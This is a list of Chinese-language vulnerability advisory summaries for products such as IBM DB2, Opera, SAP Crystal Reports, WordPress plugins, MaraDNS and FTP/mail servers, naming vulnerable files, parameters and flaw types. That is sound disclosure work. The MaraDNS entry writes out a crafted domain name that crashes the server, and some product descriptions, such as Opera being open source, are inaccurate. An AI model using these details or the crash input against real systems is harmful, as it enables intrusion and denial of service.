Virtuosa是一款集播放、CD音轨抓取编码等功能于一体的软件。Virtuosa处理特殊构建的播放列表文件存在缓冲区溢出，攻击者构建特制文件，诱使用户解析可以应用程序安全上下文执行任意代码。
Hitachi多个产品存在存在一个未明错误，可允许攻击者进行拒绝服务攻击。
Hitachi多个产品存在安全漏洞，对某些文件权限设置不正确，允许本地用户恶意访问。允许恶意本地用户获得敏感信息。
AOL是一款流行的即时通信软件。AOL处理特殊构建的'.rtx'文件文件存在缓冲区溢出，攻击者构建特制文件，诱使用户解析可以应用程序安全上下文执行任意代码。
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。默认监听TCP 524端口的db2dasrrm组件存在缺陷，当分配receiveDASMessage消息缓冲区时，会把用户提供的长度作为malloc()参数，拷贝操作时没有进行边界检查可触发溢出，成功利用漏洞可以以das用户上下文执行任意代码。
WordPress Recip.ly在实现上存在安全漏洞，wp-content/plugins/reciply/uploadImage.php没有正确地验证上传的文件类型，导致通过上传的PHP文件执行任意PHP代码。远程攻击者可利用此漏洞上传任意文件并在网络服务器进程中运行，导致未授权访问或权限提升。
Weborf是一款用C语言开发的轻量级的Web服务器。解析HTTP头字段值时(utils.c)"get_param_value()"函数存在符号错误，提交特制的"Content-Length" HTTP头可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序安全上下文执行任意代码。
PHP是一款流行的编程语言。PHP 5.3.2和5.3.3中提供的set_magic_quotes_runtime函数，当使用MySQLi扩展时，没有正确与mysqli_fetch_assoc函数交互。这可能使上下文相关的攻击者构建特制输入比较容易的进行SQL注入，而这些在之前的PHP版本中是可以被正确处理的。
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。IBM DB2 DAS(DB2管理服务器)服务存在未明错误，可触发缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
FreeBSD是一款基于BSD的开源操作系统。FreeBSD 8.0-RELEASE相关特定网络驱动存在一个空指针应用错误，允许本地攻击者对系统进行拒绝服务攻击，使系统重载。
Opera是一款开放源代码的WEB浏览器。Opera Web Browser存在安全漏洞，Opera下载管理器允许用户选择文件，打开包含此文件的文件夹。这个文件会使用操作系统文件系统查看器打开，在某些情况下，当尝试显示文件夹视图时，Opera会使用错误的可执行程序，导致可执行程序执行攻击者选择代码。
Opera是一款开放源代码的WEB浏览器。Opera浏览器存在安全漏洞，当使用"删除私密数据"并选择"清除所有Email帐户密码"选项时，不会马上删除密码，会继续使用并至浏览器重新启动。
Opera是一款开放源代码的WEB浏览器。Opera浏览器存在安全漏洞，某些类型的HTTP应答和重定向可使Opera错误的给定某些远程WEB页高的特权。然后这些页面可利用高特权装载用户电脑上的文件，导致敏感信息泄漏。
Opera是一款开放源代码的WEB浏览器。Opera浏览器存在安全漏洞，通过内部opera: URLs，攻击者可以绕过限制进行点击劫持攻击。
Opera是一款开放源代码的WEB浏览器。Opera浏览器存在安全漏洞，当某些大的表单输入在网页上显示时，可使浏览器崩溃，某些情况下可触发内存破坏以执行任意代码。
EMC NetWorker是一款支持磁盘备份、数据复制、连续数据保护和重复数据消除的应用软件。EMC Networker使用RPC库提供nsrexecd中的端口映射服务，端口映射限制只允许本地主机访问已执行服务命令，但是UDP协议允许恶意用户伪造网络报文中的源地址，使得请求看起来发自本地主机。这允许恶意用户注销已存在的RPC服务或者注册新的RPC服务。
Ruby Gem是一款用于对Rails组件进行打包的Ruby打包系统。"deliver()"函数(lib/mail/network/delivery_methods/sendmail.rb)没有对通过Email from地址传递输入在用作命令行参数之前缺少充分过滤，攻击者可以利用漏洞注入任意SHELL命令。要成功利用漏洞需要GEM使用sendmail作为邮件投递。
MuPDF是一款格式分析器，用来阅读PDF文件并创建Fitz数。当处理包含某些畸形JPEG图形的PDF文件时，fitz/filt_dctd.c文件中的"closedctd()"函数存在错误，构建特制PDF文件，诱使用户访问可导致栈破坏，成功利用漏洞可以以应用程序安全上下文执行任意指令。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在安全漏洞，传递给PerformanceManagement/jsp/qa.jsp(当"func"设置为"browse"及"root"设置为 "wi")"path"参数的输入在用于读取文件时缺少校验，通过目录遍历攻击可获得本地资源任意文件。要成功利用此漏洞需要合法验证信息。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在安全漏洞,允许恶意用户获得敏感信息，操作数据库。(1)ActiveX控件(scriptinghelpers.dll)使用不安全"CreateTextFile()"方法，可覆盖已存在文件;(2)ActiveX控件(scriptinghelpers.dll)使用不安全"LaunchProgram()"方法，可执行任意程序;(3)ActiveX控件(scriptinghelpers.dll)使用不安全"DeleteFile()"方法，可删除任意程序;(4)ActiveX控件(scriptinghelpers.dll)使用不安全"Kill()"方法，可结束任意进程。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在安全漏洞，通过"actId"参数传递给InfoViewApp/jsp/common/actionNav.jsp，"backUrl"传递给InfoViewApp/jsp/common/error.jsp，"logonAction"传递给InfoViewApp/logon.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。允许恶意用户获得敏感信息，操作数据库。
Opera是一款开放源代码的WEB浏览器。Opera处理'option' HTML元素存在一个整数溢出，攻击者构建恶意WEB页，诱使用户访问，可导致应用程序崩溃。
Modbus/TCP Master OPC Server存在安全漏洞，允许攻击者进行拒绝服务攻击或执行任意代码。当处理MODBUS响应报文处理时存在边界错误，攻击者提交特制报文可触发基于堆的缓冲区溢出。要成功利用漏洞执行任意代码，需要服务器对攻击者控制的IP地址开放通信通道。
IBM Workplace Web Content Management是一款帮助用户在Internet和内网上发布公司内容的解决方案。IBM Workplace Web Content Management存在未明安全问题，通过特制消息攻击者可以获得敏感信息。
IBM WebSphere Portal server是一款商业性质的门户网站解决方案。IBM WebSphere Portal存在未明安全问题，通过特制消息攻击者可以获得敏感信息。
ActiveWeb Professional是一款全功能的WEB内容管理系统。ActiveWeb Professional运行在ColdFusion上，允许非验证用户上传任意文件，通过访问EasyEdit模块中的"getImagefile"段，远程攻击者可以上传可执行的服务端脚本，如IIS平台上的.asp shell，并以WEB服务进程执行。
Sun SunScreen Firewall是一款防火墙解决方案。SunScreen防火墙可通过运行在Sunos机器上的3858端口上的Java协议服务来远程管理。此Java服务包含多个缓冲区溢出，另外如果攻击者可以上传文件到目标系统，可执行任意代码。利用使用LD技术来预装载库或更容易的修改PATH变量来伪造'cat'程序可提升特权。
MaraDNS是一款开放源代码的DNS服务程序。dns/Compress.c中的"compress_add_dlabel_points()"函数存在错误，提送类似如下的DNS合法名：w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.pl可导致服务程序崩溃。
A-V Tronics InetServ是一款Windows系统上的电子邮件服务器。A-V Tronics InetServ存在安全漏洞，处理POP3命令时存在格式串错误，向RETR命令提交特制字符串可破坏内存。允许恶意用户进行拒绝服务等攻击。成功利用漏洞可导致任意代码执行。
A-V Tronics InetServ是一款Windows系统上的电子邮件服务器。A-V Tronics InetServ存在安全漏洞，处理SMTP命令时存在格式串错误，向SMTP服务发送特制字符串可破坏内存。允许恶意用户进行拒绝服务等攻击。成功利用漏洞可导致任意代码执行。
Golden FTP Server是一款非常易用的Windows平台FTP服务器。Golden FTP Server在实现上存在安全漏洞，远程攻击者可利用此漏洞在受影响设备中执行任意代码或造成拒绝服务。此漏洞源于在将用户提供的输入复制到大小固定的内存缓冲区之前没有进行双重验证。
libxml软件包提供允许用户操控XML文件的函数库，包含有读、修改和写XML和HTML文件支持。libxml的XMLWriter::writeAttribute()函数中存在安全漏洞，远程攻击者可利用此漏洞获取敏感信息。